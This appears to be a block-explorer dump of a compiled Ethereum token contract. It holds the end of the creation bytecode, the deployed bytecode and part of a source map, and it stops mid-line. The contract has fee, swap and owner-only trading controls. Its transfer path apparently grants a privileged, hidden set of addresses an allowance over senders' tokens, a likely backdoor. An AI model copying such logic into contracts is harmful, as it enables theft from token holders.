79207a65726f00000000000081525061126c565b6040805160028082526060820183525f92839291906020830190803683375050600654604080516315ab88c960e31b815290519394506001600160a01b039091169263ad5c4648925060048083019260209291908290030181865afa158015610ec7573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610eeb9190611502565b815f81518110610efd57610efd6115b9565b60200260200101906001600160a01b031690816001600160a01b0316815250503081600181518110610f3157610f316115b9565b6001600160a01b03928316602091820292909201015260065460405163d06ca61f60e01b81525f92919091169063d06ca61f90610f7c906729a2241af62c000090869060040161160f565b5f60405180830381865afa158015610f96573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f19168201604052610fbd9190810190611627565b905080600181518110610fd257610fd26115b9565b60200260200101519250505090565b5f818311610fef5782610e14565b50919050565b6010805460ff191660011790556040805160028082526060820183525f9260208301908036833701905050905030815f81518110611035576110356115b9565b6001600160a01b03928316602091820292909201810191909152600654604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561108c573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906110b09190611502565b816001815181106110c3576110c36115b9565b6001600160a01b0392831660209182029290920101526006546110e9913091168461074a565b60065460405163791ac94760e01b81526001600160a01b039091169063791ac947906111219085905f908690309042906004016116e0565b5f604051808303815f87803b158015611138575f80fd5b505af115801561114a573d5f803e3d5ffd5b50506010805460ff1916905550505050565b6007546040516001600160a01b039091169082156108fc029083905f818181858888f19350505050158015611193573d5f803e3d5ffd5b5050565b335f9081526003602052604081205460ff166111b257505f90565b503390565b5f806111c3838561155b565b905083811015610e145760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161038e565b5f6112218260056114b6565b610e14908461155b565b5f610e1483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506109b4565b5f818361128c5760405162461bcd60e51b815260040161038e9190611298565b505f6109e38486611586565b5f6020808352835180828501525f5b818110156112c3578581018301518582016040015282016112a7565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146112f7575f80fd5b50565b5f806040838503121561130b575f80fd5b8235611316816112e3565b946020939093013593505050565b5f805f60608486031215611336575f80fd5b8335611341816112e3565b92506020840135611351816112e3565b929592945050506040919091013590565b5f60208284031215611372575f80fd5b8135610e14816112e3565b5f806040838503121561138e575f80fd5b8235611399816112e3565b915060208301356113a9816112e3565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561140257815f19048211156113e8576113e86113b4565b808516156113f557918102915b93841c93908002906113cd565b509250929050565b5f82611418575060016102d8565b8161142457505f6102d8565b816001811461143a576002811461144457611460565b60019150506102d8565b60ff841115611455576114556113b4565b50506001821b6102d8565b5060208310610133831016604e8410600b8410161715611483575081810a6102d8565b61148d83836113c8565b805f19048211156114a0576114a06113b4565b029392505050565b5f610e1460ff84168361140a565b80820281158282048414176102d8576102d86113b4565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f60208284031215611512575f80fd5b8151610e14816112e3565b5f805f6060848603121561152f575f80fd5b8351925060208401519150604084015190509250925092565b818103818111156102d8576102d86113b4565b808201808211156102d8576102d86113b4565b5f6001820161157f5761157f6113b4565b5060010190565b5f826115a057634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52604160045260245ffd5b634e487b7160e01b5f52603260045260245ffd5b5f8151808452602080850194508084015f5b838110156116045781516001600160a01b0316875295820195908201906001016115df565b509495945050505050565b828152604060208201525f610c2760408301846115cd565b5f6020808385031215611638575f80fd5b825167ffffffffffffffff8082111561164f575f80fd5b818501915085601f830112611662575f80fd5b815181811115611674576116746115a5565b8060051b604051601f19603f83011681018181108582111715611699576116996115a5565b6040529182528482019250838101850191888311156116b6575f80fd5b938501935b828510156116d4578451845293850193928501926116bb565b98975050505050505050565b85815284602082015260a060408201525f6116fe60a08301866115cd565b6001600160a01b039490941660608301525060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212201e6fd22b83d4fe751c0d651a23bd0f1e26ea90c5445acb699c1d12ee667144fb64736f6c63430008140033

Deployed Bytecode

0x6080604052600436106100c2575f3560e01c8063715018a61161007c57806395d89b411161005757806395d89b4114610225578063a9059cbb14610251578063c9567bf914610270578063dd62ed3e14610284575f80fd5b8063715018a6146101d557806372d43aeb146101eb5780638da5cb5b146101ff575f80fd5b806306fdde03146100cd578063095ea7b31461011657806318160ddd1461014557806323b872dd14610167578063313ce5671461018657806370a08231146101a1575f80fd5b366100c957005b5f80fd5b3480156100d8575f80fd5b5060408051808201909152600f81526e3932ba30b9321721a7a6a82aaa22a960891b60208201525b60405161010d9190611298565b60405180910390f35b348015610121575f80fd5b506101356101303660046112fa565b6102c8565b604051901515815260200161010d565b348015610150575f80fd5b506101596102de565b60405190815260200161010d565b348015610172575f80fd5b50610135610181366004611324565b6102fe565b348015610191575f80fd5b506040516009815260200161010d565b3480156101ac575f80fd5b506101596101bb366004611362565b6001600160a01b03165f9081526001602052604090205490565b3480156101e0575f80fd5b506101e9610365565b005b3480156101f6575f80fd5b506101e96103df565b34801561020a575f80fd5b505f546040516001600160a01b03909116815260200161010d565b348015610230575f80fd5b506040805180820190915260048152634449534b60e01b6020820152610100565b34801561025c575f80fd5b5061013561026b3660046112fa565b6105d8565b34801561027b575f80fd5b506101e96105e4565b34801561028f575f80fd5b5061015961029e36600461137d565b6001600160a01b039182165f90815260046020908152604080832093909416825291909152205490565b5f6102d433848461074a565b5060015b92915050565b5f6102eb6009600a6114a8565b6102f990633b9aca006114b6565b905090565b5f61030a84848461086d565b61035b84336103568560405180606001604052806028815260200161171c602891396001600160a01b038a165f90815260046020908152604080832033845290915290205491906109b4565b61074a565b5060019392505050565b5f546001600160a01b031633146103975760405162461bcd60e51b815260040161038e906114cd565b60405180910390fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146104085760405162461bcd60e51b815260040161038e906114cd565b600680546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556104519030906104436009600a6114a8565b61035690633b9aca006114b6565b60065f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156104a1573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906104c59190611502565b6001600160a01b031663c9c653963060065f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610524573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906105489190611502565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015610592573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906105b69190611502565b600580546001600160a01b0319166001600160a01b0392909216919091179055565b5f6102d433848461086d565b5f546001600160a01b0316331461060d5760405162461bcd60e51b815260040161038e906114cd565b601054610100900460ff16156106655760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604482015260640161038e565b6006546001600160a01b031663f305d7194730610696816001600160a01b03165f9081526001602052604090205490565b5f806106a95f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af115801561070f573d5f803e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610734919061151d565b50506010805462ffff0019166201010017905550565b6001600160a01b0383166107ac5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161038e565b6001600160a01b03821661080d5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161038e565b6001600160a01b038381165f8181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166108d15760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161038e565b6001600160a01b0382166109335760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161038e565b5f81116109945760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161038e565b5f6109a08484846109ec565b90506109ae84848484610c2f565b50505050565b5f81848411156109d75760405162461bcd60e51b815260040161038e9190611298565b505f6109e38486611548565b95945050505050565b5f806109ff5f546001600160a01b031690565b6001600160a01b0316856001600160a01b031614158015610a2d57505f546001600160a01b03858116911614155b15610c2757610a5e6064610a58600c54600f5411610a4d57600854610a51565b600a545b8690610d96565b90610e1b565b6005549091506001600160a01b038681169116148015610a8c57506006546001600160a01b03858116911614155b8015610ab057506001600160a01b0384165f9081526002602052604090205460ff16155b15610af2574360115414610ac7575f601255436011555b8260125f828254610ad8919061155b565b9091555050600f8054905f610aec8361156e565b91905055505b6005546001600160a01b038581169116148015610b1857506001600160a01b0385163014155b15610b9b57610b25610e5c565b6012541080610b3657504360115414155b610b735760405162461bcd60e51b815260206004820152600e60248201526d13585e0814ddd85c08131a5b5a5d60921b604482015260640161038e565b610b986064610a58600d54600f5411610b8e57600954610a51565b600b548690610d96565b90505b305f9081526001602052604090205460105460ff16158015610bca57506005546001600160a01b038681169116145b8015610bde575060105462010000900460ff165b8015610bed5750600e54600f54115b15610c2557601354811115610c1957610c19610c1485610c0f84601354610fe1565b610fe1565b610ff5565b47610c234761115c565b505b505b949350505050565b5f610c38611197565b90508115610cb257305f90815260016020526040902054610c5990836111b7565b305f81815260016020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610ca99086815260200190565b60405180910390a35b6001600160a01b03811615610cd057610cd085826103568686611215565b6001600160a01b0385165f90815260016020526040902054610cf2908461122b565b6001600160a01b0386165f90815260016020526040902055610d35610d17848461122b565b6001600160a01b0386165f90815260016020526040902054906111b7565b6001600160a01b038086165f8181526001602052604090209290925586167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef610d7e868661122b565b60405190815260200160405180910390a35050505050565b5f825f03610da557505f6102d8565b5f610db083856114b6565b905082610dbd8583611586565b14610e145760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161038e565b9392505050565b5f610e1483836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061126c565b6040805160028082526060820183525f92839291906020830190803683375050600654604080516315ab88c960e31b815290519394506001600160a01b039091169263ad5c4648925060048083019260209291908290030181865afa158015610ec7573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610eeb9190611502565b815f81518110610efd57610efd6115b9565b60200260200101906001600160a01b031690816001600160a01b0316815250503081600181518110610f3157610f316115b9565b6001600160a01b03928316602091820292909201015260065460405163d06ca61f60e01b81525f92919091169063d06ca61f90610f7c906729a2241af62c000090869060040161160f565b5f60405180830381865afa158015610f96573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f19168201604052610fbd9190810190611627565b905080600181518110610fd257610fd26115b9565b60200260200101519250505090565b5f818311610fef5782610e14565b50919050565b6010805460ff191660011790556040805160028082526060820183525f9260208301908036833701905050905030815f81518110611035576110356115b9565b6001600160a01b03928316602091820292909201810191909152600654604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561108c573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906110b09190611502565b816001815181106110c3576110c36115b9565b6001600160a01b0392831660209182029290920101526006546110e9913091168461074a565b60065460405163791ac94760e01b81526001600160a01b039091169063791ac947906111219085905f908690309042906004016116e0565b5f604051808303815f87803b158015611138575f80fd5b505af115801561114a573d5f803e3d5ffd5b50506010805460ff1916905550505050565b6007546040516001600160a01b039091169082156108fc029083905f818181858888f19350505050158015611193573d5f803e3d5ffd5b5050565b335f9081526003602052604081205460ff166111b257505f90565b503390565b5f806111c3838561155b565b905083811015610e145760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161038e565b5f6112218260056114b6565b610e14908461155b565b5f610e1483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506109b4565b5f818361128c5760405162461bcd60e51b815260040161038e9190611298565b505f6109e38486611586565b5f6020808352835180828501525f5b818110156112c3578581018301518582016040015282016112a7565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146112f7575f80fd5b50565b5f806040838503121561130b575f80fd5b8235611316816112e3565b946020939093013593505050565b5f805f60608486031215611336575f80fd5b8335611341816112e3565b92506020840135611351816112e3565b929592945050506040919091013590565b5f60208284031215611372575f80fd5b8135610e14816112e3565b5f806040838503121561138e575f80fd5b8235611399816112e3565b915060208301356113a9816112e3565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561140257815f19048211156113e8576113e86113b4565b808516156113f557918102915b93841c93908002906113cd565b509250929050565b5f82611418575060016102d8565b8161142457505f6102d8565b816001811461143a576002811461144457611460565b60019150506102d8565b60ff841115611455576114556113b4565b50506001821b6102d8565b5060208310610133831016604e8410600b8410161715611483575081810a6102d8565b61148d83836113c8565b805f19048211156114a0576114a06113b4565b029392505050565b5f610e1460ff84168361140a565b80820281158282048414176102d8576102d86113b4565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f60208284031215611512575f80fd5b8151610e14816112e3565b5f805f6060848603121561152f575f80fd5b8351925060208401519150604084015190509250925092565b818103818111156102d8576102d86113b4565b808201808211156102d8576102d86113b4565b5f6001820161157f5761157f6113b4565b5060010190565b5f826115a057634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52604160045260245ffd5b634e487b7160e01b5f52603260045260245ffd5b5f8151808452602080850194508084015f5b838110156116045781516001600160a01b0316875295820195908201906001016115df565b509495945050505050565b828152604060208201525f610c2760408301846115cd565b5f6020808385031215611638575f80fd5b825167ffffffffffffffff8082111561164f575f80fd5b818501915085601f830112611662575f80fd5b815181811115611674576116746115a5565b8060051b604051601f19603f83011681018181108582111715611699576116996115a5565b6040529182528482019250838101850191888311156116b6575f80fd5b938501935b828510156116d4578451845293850193928501926116bb565b98975050505050505050565b85815284602082015260a060408201525f6116fe60a08301866115cd565b6001600160a01b039490941660608301525060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212201e6fd22b83d4fe751c0d651a23bd0f1e26ea90c5445acb699c1d12ee667144fb64736f6c63430008140033

Deployed Bytecode Sourcemap

8411:8093:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;10859:83;;;;;;;;;;-1:-1:-1;10929:5:0;;;;;;;;;;;;-1:-1:-1;;;10929:5:0;;;;10859:83;;;;;;;:::i;:::-;;;;;;;;11697:161;;;;;;;;;;-1:-1:-1;11697:161:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;11697:161:0;1023:187:1;11136:95:0;;;;;;;;;;;;;:::i;:::-;;;1361:25:1;;;1349:2;1334:18;11136:95:0;1215:177:1;11866:317:0;;;;;;;;;;-1:-1:-1;11866:317:0;;;;;:::i;:::-;;:::i;11045:83::-;;;;;;;;;;-1:-1:-1;11045:83:0;;8881:1;2000:36:1;;1988:2;1973:18;11045:83:0;1858:184:1;11239:121:0;;;;;;;;;;-1:-1:-1;11239:121:0;;;;;:::i;:::-;-1:-1:-1;;;;;11332:20:0;11305:7;11332:20;;;:11;:20;;;;;;;11239:121;7577:148;;;;;;;;;;;;;:::i;:::-;;10192:305;;;;;;;;;;;;;:::i;7363:79::-;;;;;;;;;;-1:-1:-1;7401:7:0;7428:6;7363:79;;-1:-1:-1;;;;;7428:6:0;;;2445:51:1;;2433:2;2418:18;7363:79:0;2299:203:1;10950:87:0;;;;;;;;;;-1:-1:-1;11022:7:0;;;;;;;;;;;;-1:-1:-1;;;11022:7:0;;;;10950:87;;11368:167;;;;;;;;;;-1:-1:-1;11368:167:0;;;;;:::i;:::-;;:::i;10542:309::-;;;;;;;;;;;;;:::i;11543:146::-;;;;;;;;;;-1:-1:-1;11543:146:0;;;;;:::i;:::-;-1:-1:-1;;;;;11651:21:0;;;11624:7;11651:21;;;:14;:21;;;;;;;;:30;;;;;;;;;;;;;11543:146;11697:161;11772:4;11789:39;7020:10;11812:7;11821:6;11789:8;:39::i;:::-;-1:-1:-1;11846:4:0;11697:161;;;;;:::o;11136:95::-;11189:7;8937:13;8881:1;8937:2;:13;:::i;:::-;8924:26;;:10;:26;:::i;:::-;11209:14;;11136:95;:::o;11866:317::-;11964:4;11981:36;11991:6;11999:9;12010:6;11981:9;:36::i;:::-;12029:124;12038:6;7020:10;12060:92;12101:6;12060:92;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;12060:22:0;;;;;;:14;:22;;;;;;;;7020:10;12060:36;;;;;;;;;;:40;:92::i;:::-;12029:8;:124::i;:::-;-1:-1:-1;12171:4:0;11866:317;;;;;:::o;7577:148::-;7490:6;;-1:-1:-1;;;;;7490:6:0;7020:10;7490:22;7482:67;;;;-1:-1:-1;;;7482:67:0;;;;;;;:::i;:::-;;;;;;;;;7684:1:::1;7668:6:::0;;7647:40:::1;::::0;-1:-1:-1;;;;;7668:6:0;;::::1;::::0;7647:40:::1;::::0;7684:1;;7647:40:::1;7715:1;7698:19:::0;;-1:-1:-1;;;;;;7698:19:0::1;::::0;;7577:148::o;10192:305::-;7490:6;;-1:-1:-1;;;;;7490:6:0;7020:10;7490:22;7482:67;;;;-1:-1:-1;;;7482:67:0;;;;;;;:::i;:::-;10251:11:::1;:69:::0;;-1:-1:-1;;;;;;10251:69:0::1;10277:42;10251:69:::0;;::::1;::::0;;;10331:54:::1;::::0;10348:4:::1;::::0;8937:13:::1;8881:1;8937:2;:13;:::i;:::-;8924:26;::::0;:10:::1;:26;:::i;10331:54::-;10421:11;;;;;;;;;-1:-1:-1::0;;;;;10421:11:0::1;-1:-1:-1::0;;;;;10421:19:0::1;;:21;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;10408:46:0::1;;10463:4;10470:11;;;;;;;;;-1:-1:-1::0;;;;;10470:11:0::1;-1:-1:-1::0;;;;;10470:16:0::1;;:18;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;10408:81;::::0;-1:-1:-1;;;;;;10408:81:0::1;::::0;;;;;;-1:-1:-1;;;;;5435:15:1;;;10408:81:0::1;::::0;::::1;5417:34:1::0;5487:15;;5467:18;;;5460:43;5352:18;;10408:81:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;10396:9;:93:::0;;-1:-1:-1;;;;;;10396:93:0::1;-1:-1:-1::0;;;;;10396:93:0;;;::::1;::::0;;;::::1;::::0;;10192:305::o;11368:167::-;11446:4;11463:42;7020:10;11487:9;11498:6;11463:9;:42::i;10542:309::-;7490:6;;-1:-1:-1;;;;;7490:6:0;7020:10;7490:22;7482:67;;;;-1:-1:-1;;;7482:67:0;;;;;;;:::i;:::-;10606:13:::1;::::0;::::1;::::0;::::1;;;10605:14;10597:49;;;::::0;-1:-1:-1;;;10597:49:0;;5716:2:1;10597:49:0::1;::::0;::::1;5698:21:1::0;5755:2;5735:18;;;5728:30;5794:25;5774:18;;;5767:53;5837:18;;10597:49:0::1;5514:347:1::0;10597:49:0::1;10657:11;::::0;-1:-1:-1;;;;;10657:11:0::1;:27;10692:21;10723:4;10729:24;10723:4:::0;-1:-1:-1;;;;;11332:20:0;11305:7;11332:20;;;:11;:20;;;;;;;11239:121;10729:24:::1;10754:1;10756::::0;10758:7:::1;7401::::0;7428:6;-1:-1:-1;;;;;7428:6:0;;7363:79;10758:7:::1;10657:125;::::0;::::1;::::0;;;-1:-1:-1;;;;;;10657:125:0;;;-1:-1:-1;;;;;6225:15:1;;;10657:125:0::1;::::0;::::1;6207:34:1::0;6257:18;;;6250:34;;;;6300:18;;;6293:34;;;;6343:18;;;6336:34;6407:15;;;6386:19;;;6379:44;10766:15:0::1;6439:19:1::0;;;6432:35;6141:19;;10657:125:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;10793:12:0::1;:19:::0;;-1:-1:-1;;10823:20:0;;;;;-1:-1:-1;10542:309:0:o;12191:338::-;-1:-1:-1;;;;;12284:19:0;;12276:68;;;;-1:-1:-1;;;12276:68:0;;6991:2:1;12276:68:0;;;6973:21:1;7030:2;7010:18;;;7003:30;7069:34;7049:18;;;7042:62;-1:-1:-1;;;7120:18:1;;;7113:34;7164:19;;12276:68:0;6789:400:1;12276:68:0;-1:-1:-1;;;;;12363:21:0;;12355:68;;;;-1:-1:-1;;;12355:68:0;;7396:2:1;12355:68:0;;;7378:21:1;7435:2;7415:18;;;7408:30;7474:34;7454:18;;;7447:62;-1:-1:-1;;;7525:18:1;;;7518:32;7567:19;;12355:68:0;7194:398:1;12355:68:0;-1:-1:-1;;;;;12434:21:0;;;;;;;:14;:21;;;;;;;;:30;;;;;;;;;;;;;:39;;;12489:32;;1361:25:1;;;12489:32:0;;1334:18:1;12489:32:0;;;;;;;12191:338;;;:::o;13179:431::-;-1:-1:-1;;;;;13270:19:0;;13262:69;;;;-1:-1:-1;;;13262:69:0;;7799:2:1;13262:69:0;;;7781:21:1;7838:2;7818:18;;;7811:30;7877:34;7857:18;;;7850:62;-1:-1:-1;;;7928:18:1;;;7921:35;7973:19;;13262:69:0;7597:401:1;13262:69:0;-1:-1:-1;;;;;13350:19:0;;13342:67;;;;-1:-1:-1;;;13342:67:0;;8205:2:1;13342:67:0;;;8187:21:1;8244:2;8224:18;;;8217:30;8283:34;8263:18;;;8256:62;-1:-1:-1;;;8334:18:1;;;8327:33;8377:19;;13342:67:0;8003:399:1;13342:67:0;13436:1;13428:5;:9;13420:63;;;;-1:-1:-1;;;13420:63:0;;8609:2:1;13420:63:0;;;8591:21:1;8648:2;8628:18;;;8621:30;8687:34;8667:18;;;8660:62;-1:-1:-1;;;8738:18:1;;;8731:39;8787:19;;13420:63:0;8407:405:1;13420:63:0;13496:15;13514:34;13528:5;13535;13542;13514:13;:34::i;:::-;13496:52;;13559:43;13573:5;13580;13587;13594:7;13559:13;:43::i;:::-;13251:359;13179:431;;;:::o;6119:190::-;6205:7;6241:12;6233:6;;;;6225:29;;;;-1:-1:-1;;;6225:29:0;;;;;;;;:::i;:::-;-1:-1:-1;6265:9:0;6277:5;6281:1;6277;:5;:::i;:::-;6265:17;6119:190;-1:-1:-1;;;;;6119:190:0:o;13618:1462::-;13702:7;;13763;7401;7428:6;-1:-1:-1;;;;;7428:6:0;;7363:79;13763:7;-1:-1:-1;;;;;13754:16:0;:5;-1:-1:-1;;;;;13754:16:0;;;:36;;;;-1:-1:-1;7401:7:0;7428:6;-1:-1:-1;;;;;13774:16:0;;;7428:6;;13774:16;;13754:36;13750:1298;;;13817:75;13888:3;13817:66;13838:15;;13828:9;;:25;13827:55;;13868:14;;13827:55;;;13855:12;;13827:55;13817:5;;:9;:66::i;:::-;:70;;:75::i;:::-;13922:9;;13807:85;;-1:-1:-1;;;;;;13913:18:0;;;13922:9;;13913:18;:51;;;;-1:-1:-1;13952:11:0;;-1:-1:-1;;;;;13935:29:0;;;13952:11;;13935:29;;13913:51;:81;;;;-1:-1:-1;;;;;;13970:24:0;;;;;;:17;:24;;;;;;;;13968:26;13913:81;13909:340;;;14033:12;14018:13;;:27;14015:145;;14088:1;14069:16;:20;14128:12;14112:13;:28;14015:145;14198:5;14178:16;;:25;;;;;;;:::i;:::-;;;;-1:-1:-1;;14222:9:0;:11;;;:9;:11;;;:::i;:::-;;;;;;13909:340;14277:9;;-1:-1:-1;;;;;14268:18:0;;;14277:9;;14268:18;:43;;;;-1:-1:-1;;;;;;14290:21:0;;14306:4;14290:21;;14268:43;14265:284;;;14359:15;:13;:15::i;:::-;14340:16;;:34;:65;;;;14393:12;14378:13;;:27;;14340:65;14332:92;;;;-1:-1:-1;;;14332:92:0;;9422:2:1;14332:92:0;;;9404:21:1;9461:2;9441:18;;;9434:30;-1:-1:-1;;;9480:18:1;;;9473:44;9534:18;;14332:92:0;9220:338:1;14332:92:0;14455:78;14529:3;14455:69;14476:16;;14466:9;;:26;14465:58;;14508:15;;14465:58;;;14494:13;;14455:5;;:9;:69::i;:78::-;14445:88;;14265:284;14603:4;14565:17;11332:20;;;:11;:20;;;;;;14629:10;;;;14628:11;:33;;;;-1:-1:-1;14652:9:0;;-1:-1:-1;;;;;14643:18:0;;;14652:9;;14643:18;14628:33;:49;;;;-1:-1:-1;14665:12:0;;;;;;;14628:49;:83;;;;;14693:18;;14681:9;;:30;14628:83;14624:413;;;14747:15;;14735:9;:27;14732:118;;;14781:69;14798:51;14806:5;14813:35;14821:9;14832:15;;14813:7;:35::i;:::-;14798:7;:51::i;:::-;14781:16;:69::i;:::-;14887:21;14968:34;14980:21;14968:11;:34::i;:::-;14713:324;14624:413;13792:1256;13750:1298;15065:7;13618:1462;-1:-1:-1;;;;13618:1462:0:o;12537:634::-;12642:19;12664:16;:14;:16::i;:::-;12642:38;-1:-1:-1;12694:11:0;;12691:165;;12768:4;12748:26;;;;:11;:26;;;;;;:39;;12779:7;12748:30;:39::i;:::-;12739:4;12719:26;;;;:11;:26;;;;;;;:68;;;;12805:39;;-1:-1:-1;;;;;12805:39:0;;;;;;;12836:7;1361:25:1;;1349:2;1334:18;;1215:177;12805:39:0;;;;;;;;12691:165;-1:-1:-1;;;;;12869:25:0;;;12866:104;;12896:74;12919:5;12927:11;12940:29;12954:5;12961:7;12940:13;:29::i;12896:74::-;-1:-1:-1;;;;;13002:18:0;;;;;;:11;:18;;;;;;:29;;13025:5;13002:22;:29::i;:::-;-1:-1:-1;;;;;12981:18:0;;;;;;:11;:18;;;;;:50;13063:42;13086:18;:5;13096:7;13086:9;:18::i;:::-;-1:-1:-1;;;;;13063:18:0;;;;;;:11;:18;;;;;;;:22;:42::i;:::-;-1:-1:-1;;;;;13042:18:0;;;;;;;:11;:18;;;;;:63;;;;13121:42;;;13144:18;:5;13154:7;13144:9;:18::i;:::-;13121:42;;1361:25:1;;;1349:2;1334:18;13121:42:0;;;;;;;12630:541;12537:634;;;;:::o;6317:246::-;6375:7;6399:1;6404;6399:6;6395:47;;-1:-1:-1;6429:1:0;6422:8;;6395:47;6452:9;6464:5;6468:1;6464;:5;:::i;:::-;6452:17;-1:-1:-1;6497:1:0;6488:5;6492:1;6452:17;6488:5;:::i;:::-;:10;6480:56;;;;-1:-1:-1;;;6480:56:0;;9987:2:1;6480:56:0;;;9969:21:1;10026:2;10006:18;;;9999:30;10065:34;10045:18;;;10038:62;-1:-1:-1;;;10116:18:1;;;10109:31;10157:19;;6480:56:0;9785:397:1;6480:56:0;6554:1;6317:246;-1:-1:-1;;;6317:246:0:o;6571:132::-;6629:7;6656:39;6660:1;6663;6656:39;;;;;;;;;;;;;;;;;:3;:39::i;16202:299::-;16294:16;;;16308:1;16294:16;;;;;;;;16250:7;;;;16294:16;16308:1;16294:16;;;;;;;;-1:-1:-1;;16331:11:0;;:18;;;-1:-1:-1;;;16331:18:0;;;;16270:40;;-1:-1:-1;;;;;;16331:11:0;;;;:16;;-1:-1:-1;16331:18:0;;;;;;;;;;;;;;:11;:18;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;16321:4;16326:1;16321:7;;;;;;;;:::i;:::-;;;;;;:28;-1:-1:-1;;;;;16321:28:0;;;-1:-1:-1;;;;;16321:28:0;;;;;16378:4;16360;16365:1;16360:7;;;;;;;;:::i;:::-;-1:-1:-1;;;;;16360:23:0;;;:7;;;;;;;;;:23;16421:11;;:41;;-1:-1:-1;;;16421:41:0;;16394:24;;16421:11;;;;;:25;;:41;;16447:8;;16457:4;;16421:41;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;16421:41:0;;;;;;;;;;;;:::i;:::-;16394:68;;16480:10;16491:1;16480:13;;;;;;;;:::i;:::-;;;;;;;16473:20;;;;16202:299;:::o;15509:103::-;15570:7;15598:1;15596;:3;15595:9;;15603:1;15595:9;;;-1:-1:-1;15601:1:0;15509:103;-1:-1:-1;15509:103:0:o;15729:465::-;9537:10;:17;;-1:-1:-1;;9537:17:0;9550:4;9537:17;;;15829:16:::1;::::0;;15843:1:::1;15829:16:::0;;;;;::::1;::::0;;-1:-1:-1;;15829:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;15829:16:0::1;15805:40;;15874:4;15856;15861:1;15856:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;15856:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;15900:11:::1;::::0;:18:::1;::::0;;-1:-1:-1;;;15900:18:0;;;;